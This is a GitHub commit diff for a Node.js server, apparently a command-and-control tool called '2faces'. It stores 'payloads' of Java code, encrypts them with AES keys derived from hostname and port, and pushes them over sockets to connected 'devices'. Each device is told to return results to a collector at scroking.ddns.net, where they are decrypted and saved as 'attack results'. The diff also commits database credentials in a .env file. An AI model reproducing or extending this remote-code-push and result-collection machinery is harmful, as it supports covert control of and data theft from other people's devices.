Skip to content

Commit 2da457a

Browse files
committed
DELETE attack result fix
socket -> better implementation -> more work to do
1 parent 6eee13c commit 2da457a

File tree

12 files changed

+130
-42
lines changed

12 files changed

+130
-42
lines changed

.env

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,5 @@ MONGO_USER=2facesAdmin
22
MONGO_PASSWORD=2facesPassword
33
MONGO_DATABASE=2facesdb
44
SERVER_PORT=9999
5-
SOCKET_MASTER_PORT=6969
6-
SOCKET_MASTER_PORT=6969
5+
SOCKET_MAIN_PORT=6969
76

api/routes.js

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -121,7 +121,7 @@ module.exports = (app, socketManager) => {
121121

122122
app.delete(BASE_API_URL + API_VERSION_1_0 + "/attacks", (req, res) => {
123123
const attack_id = req.query.attack_id;
124-
payloads.deleteOne(attack_id)
124+
attacks.deleteOne(attack_id)
125125
.then((attack) => {
126126
res.json(attack);
127127
}).catch((error) => {

api/v1.0/deviceManager.js

Lines changed: 25 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
const attacks = require('../../database/models/attackResult');
22
const payloads = require('../../database/models/payload');
33
const cryptoManager = require('../../CryptoManager')
4+
const tcpPortUsed = require('tcp-port-used');
45

56
async function showAllDevices(socketManager) {
67
return new Promise((resolve, reject) => {
@@ -28,7 +29,7 @@ async function triggerDevice(socketManager, device, payload_id) {
2829
const socketsMap = socketManager.socketMain.getSocketsMap();
2930
const sourcePort = device.port;
3031
payloads.readOneById(payload_id)
31-
.then((payload) => {
32+
.then( (payload) => {
3233
const javaCode = payload.content;
3334
const javaPieces = splitJavaCode(javaCode);
3435
console.log(javaPieces);
@@ -44,9 +45,10 @@ async function triggerDevice(socketManager, device, payload_id) {
4445
}
4546
socketManager.socketMain.writeOnSocketByPort(sourcePort, serversListStringed)
4647

48+
4749
const randomPortCollector = getRandomPort(60000, 60100);
48-
socketManager.socketMain.writeOnSocketByPort(sourcePort, 'Collector: scroking.ddns.net:' + randomPortCollector);
4950

51+
socketManager.socketMain.writeOnSocketByPort(sourcePort, 'Collector: scroking.ddns.net:' + randomPortCollector);
5052
socketManager.socketMain.writeOnSocketByPort(sourcePort, 'Result Type: ' + payload.resultType);
5153

5254
socketManager.socketCollector.openNewSocketAndWaitForResult("scroking.ddns.net", randomPortCollector)
@@ -106,19 +108,34 @@ function splitJavaCode(javaCode) {
106108
}
107109

108110

109-
function getRandomPorts(lowestPort, highestPort, n){
111+
function getRandomPorts(lowestPort, highestPort, n) {
110112
let randomPorts = [];
111-
while(randomPorts.length < n) {
112-
const randomPort = getRandomPort(lowestPort, highestPort);
113-
if(randomPorts.indexOf(randomPort) === -1) {
114-
randomPorts.push(randomPort);
113+
let port;
114+
while (randomPorts.length < n) {
115+
port = getRandomPort(lowestPort, highestPort);
116+
if (port && randomPorts.indexOf(port) === -1) {
117+
randomPorts.push(port);
115118
}
116119
}
117120
return randomPorts;
118121
}
119122

123+
120124
function getRandomPort(lowestPort, highestPort) {
121-
return getRandomInteger(lowestPort, highestPort)
125+
return getRandomInteger(lowestPort, highestPort);
126+
/*const port =
127+
return await tcpPortUsed.check(port, '0.0.0.0')
128+
.then(function (inUse) {
129+
if (!inUse) {
130+
return port;
131+
} else {
132+
return getRandomPort(lowestPort, highestPort);
133+
}
134+
}, function (err) {
135+
console.log('Error on check:', err.message);
136+
return null;
137+
});*/
138+
122139
}
123140
function getRandomInteger(min, max) {
124141
min = Math.ceil(min);

app.js

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -26,19 +26,19 @@ app.set('view engine', 'pug');
2626
app.set('views', path.join(__dirname, 'views'));
2727

2828
app.get('/', function(req, res){
29-
res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MASTER_PORT});
29+
res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MAIN_PORT});
3030
});
3131
app.get('/index', function(req, res){
32-
res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MASTER_PORT});
32+
res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MAIN_PORT});
3333
});
3434
app.get('/index.html', function(req, res){
35-
res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MASTER_PORT});
35+
res.render('index', {ip_port: "scroking.ddns.net:"+process.env.SOCKET_MAIN_PORT});
3636
});
3737

3838
// routes
3939
// Open socketManager
40-
const socketManager = require('./socket/socket');
41-
socketManager.socketMain.openSocketMain();
40+
const socketManager = require('./socket/socketManager');
41+
socketManager.initSocketMain();
4242

4343
// Load all api routes
4444
const routes = require('./api/routes')(app, socketManager);

docker-compose.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ services:
99
build: ./
1010
ports:
1111
- "${SERVER_PORT}:${SERVER_PORT}"
12-
- "${SOCKET_MASTER_PORT}:${SOCKET_MASTER_PORT}"
12+
- "${SOCKET_MAIN_PORT}:${SOCKET_MAIN_PORT}"
1313
- "52000-52500:52000-52500"
1414
- "60000-60100:60000-60100"
1515
volumes:

package-lock.json

Lines changed: 49 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

package.json

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@
1818
"nodemon": "^2.0.1",
1919
"pug": "^3.0.0",
2020
"serve-favicon": "^2.0.1",
21+
"tcp-port-used": "^1.0.1",
2122
"xml2js": "^0.4.23"
2223
}
2324
}

socket/socket.js

Lines changed: 0 additions & 9 deletions
This file was deleted.

socket/socketCodeSender.js

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,16 +3,16 @@ const cryptoManager = require('../CryptoManager');
33

44
const HOST = '0.0.0.0'; // parameterize the IP of the Listen
55

6-
function openNewSocketCodeSender(ip, codeSenderPort, code) {
6+
function openNewSocketCodeSender(hostname, codeSenderPort, code) {
77
net.createServer((socketCodeSender) => {
88
console.log('CONNECTED_CODE_SENDER: ' + socketCodeSender.remoteAddress +':'+ socketCodeSender.remotePort);
99

1010
const stringEscaped = code.toString().replace(/(\r\n|\n|\r|\t)/gm, '');
1111
const stringEscapedWellTrimmed = stringEscaped.replace(/ +(?= )/g,'');
1212
console.log(stringEscapedWellTrimmed);
1313

14-
const key = cryptoManager.sha256(codeSenderPort.toString() + ip.toString());
15-
const iv = cryptoManager.md5(ip.toString() + codeSenderPort.toString());
14+
const key = cryptoManager.sha256(codeSenderPort.toString() + hostname.toString());
15+
const iv = cryptoManager.md5(hostname.toString() + codeSenderPort.toString());
1616
const stringEncrypted = cryptoManager.aes256Encrypt(stringEscapedWellTrimmed, key, iv);
1717

1818
socketCodeSender.write( stringEncrypted +"\n");

socket/socketCollector.js

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ const cryptoManager = require('../CryptoManager');
33

44
const HOST = '0.0.0.0'; // parameterize the IP of the Listen
55

6-
function openNewSocketAndWaitForResult(ip, collectorPort) {
6+
function openNewSocketAndWaitForResult(hostname, collectorPort) {
77
return new Promise((resolve,reject) => {
88
net.createServer((socketCollector) => {
99
console.log('CONNECTED_COLLECTOR: ' + socketCollector.remoteAddress +':'+ socketCollector.remotePort);
@@ -33,8 +33,8 @@ function openNewSocketAndWaitForResult(ip, collectorPort) {
3333
socketCollector.end();
3434

3535
if (result && result !== "") {
36-
const key = cryptoManager.sha256(collectorPort.toString() + ip.toString());
37-
const iv = cryptoManager.md5(ip.toString() + collectorPort.toString());
36+
const key = cryptoManager.sha256(collectorPort.toString() + hostname.toString());
37+
const iv = cryptoManager.md5(hostname.toString() + collectorPort.toString());
3838
const stringEncrypted = result.toString();
3939
console.log(stringEncrypted);
4040

0 commit comments

Comments
 (0)